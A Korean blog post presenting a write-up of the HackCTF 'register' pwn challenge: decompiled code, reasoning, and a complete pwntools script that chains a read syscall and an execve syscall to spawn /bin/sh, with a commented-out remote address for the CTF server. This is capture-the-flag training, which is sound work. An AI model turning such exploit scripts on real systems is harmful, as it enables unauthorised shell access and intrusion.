Pwnstar
HackCTF register 본문
register
64비트 바이너리이고, NX bit와 카나리가 걸려있다.
IDA
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
alarm(5u);
setvbuf(stdout, 0LL, 2, 0LL);
build();
}
메인함수이다. 시그널을 전달하기 위한 alarm 함수가 설정되어 있고, 5초가 지나면 시그널 14번이 실행된다.
build 함수를 보자
void __noreturn build()
{
__int64 v0; // [rsp+0h] [rbp-40h]
__int64 v1; // [rsp+8h] [rbp-38h]
__int64 v2; // [rsp+10h] [rbp-30h]
__int64 v3; // [rsp+18h] [rbp-28h]
__int64 v4; // [rsp+20h] [rbp-20h]
__int64 v5; // [rsp+28h] [rbp-18h]
__int64 v6; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(40u);
signal(14, (__sighandler_t)handler);
while ( 1 )
{
do
{
get_obj(&v0);
obj = v0;
qword_6010A8 = v1;
qword_6010B0 = v2;
qword_6010B8 = v3;
qword_6010C0 = v4;
qword_6010C8 = v5;
qword_6010D0 = v6;
}
while ( (unsigned int)validate_syscall_obj(v0) );
raise(14);
}
}
음 이것만 봐서는 잘 모르겠다. get_obj 함수도 함께 보자.
__int64 __fastcall get_obj(_QWORD *a1)
{
printf("RAX: ");
*a1 = get_ll();
printf("RDI: ");
a1[1] = get_ll();
printf("RSI: ");
a1[2] = get_ll();
printf("RDX: ");
a1[3] = get_ll();
printf("RCX: ");
a1[4] = get_ll();
printf("R8: ");
a1[5] = get_ll();
printf("R9: ");
a1[6] = get_ll();
return 0LL;
}
음?? 레지스터에 값을 전달할 수 있는 건가??
__int64 __fastcall exec_syscall_obj(_QWORD *a1)
{
_QWORD *v1; // rbx
__int64 result; // rax
__int64 v3; // rdi
__int64 v4; // rsi
__int64 v5; // rdx
__int64 v6; // rcx
__int64 v7; // r8
__int64 v8; // r9
v1 = a1;
result = *a1;
v3 = a1[1];
v4 = v1[2];
v5 = v1[3];
v6 = v1[4];
v7 = v1[5];
v8 = v1[6];
__asm { syscall; LINUX - }
return result;
}
signal(14)가 호출되면 실행되는 함수이다. 입력받은 값들을 각 레지스터에 넣고 syscall을 실행한다.
그러면 뭐 각 레지스터에 내 마음대로 값도 넣을 수 있겠다, 값도 무한으로 계속 입력 받으니
첫 입력 때에 bss영역 같은 곳에 /bin/sh를 입력해놓고 두 번째 입력 때에 execve syscall을 실행하면 될 것이다.
그러면 줄 값들을 생각해보자. 첫 입력에는 read 함수로
rax : 0
rdi : 0
rsi : bss
rdx : 8
rcx : 0
r8 : 0
r9 : 0
이렇게 입력을 주면 될 것 같고,
두 번째에는
rax : 59
rdi : bss
rsi : 0
rdx : 0
rcx : 0
r8 : 0
r9 : 0
이렇게 입력을 주면 될 것이다.
사실 디버깅을 하면서 값들이 제대로 들어가는 지 확인을 제대로 못해봤기에 IDA에서 본 것으로 판단하면 거의 확실하긴 한데 뇌피셜이나 다름없다.
그래도 페이로드를 짠 대로 실행시켜보자.
ex.py
from pwn import*
context.terminal = ['tmux', 'splitw', '-h']
p = process("./register")
#p = remote("ctf.j0n9hyun.xyz", 3026)
script = '''
b*0x0000000000400ACD
'''
gdb.attach(p, script)
binsh = "/bin/sh\x00"
p.recvuntil("RAX: ")
p.sendline("0")
p.recvuntil("RDI: ")
p.sendline("0")
p.recvuntil("RSI: ")
p.sendline("6295656")
p.recvuntil("RDX: ")
p.sendline("8")
p.recvuntil("RCX: ")
p.sendline("0")
p.recvuntil("R8: ")
p.sendline("0")
p.recvuntil("R9: ")
p.sendline("0")
p.send(binsh)
sleep(4)
p.recvuntil("RAX: ")
p.sendline("59")
p.recvuntil("RDI: ")
p.sendline("6295656")
p.recvuntil("RSI: ")
p.sendline("0")
p.recvuntil("RDX: ")
p.sendline("0")
p.recvuntil("RCX: ")
p.sendline("0")
p.recvuntil("R8: ")
p.sendline("0")
p.recvuntil("R9: ")
p.sendline("0")
p.interactive()
이렇게 실행시켜주면
끗
*디버깅이 왜 제대로 안되는지는 잘 모르겠다;; signal 함수 때문인가..
'Wargame > HackCTF' 카테고리의 다른 글
HackCTF j0n9hyun's secret (0) | 2020.06.29 |
---|---|
HackCTF World Best Encryption Tool (0) | 2020.06.28 |
HackCTF rtc (0) | 2020.06.28 |
HackCTF you_are_silver (0) | 2020.06.27 |
HackCTF rop (0) | 2020.06.27 |
Comments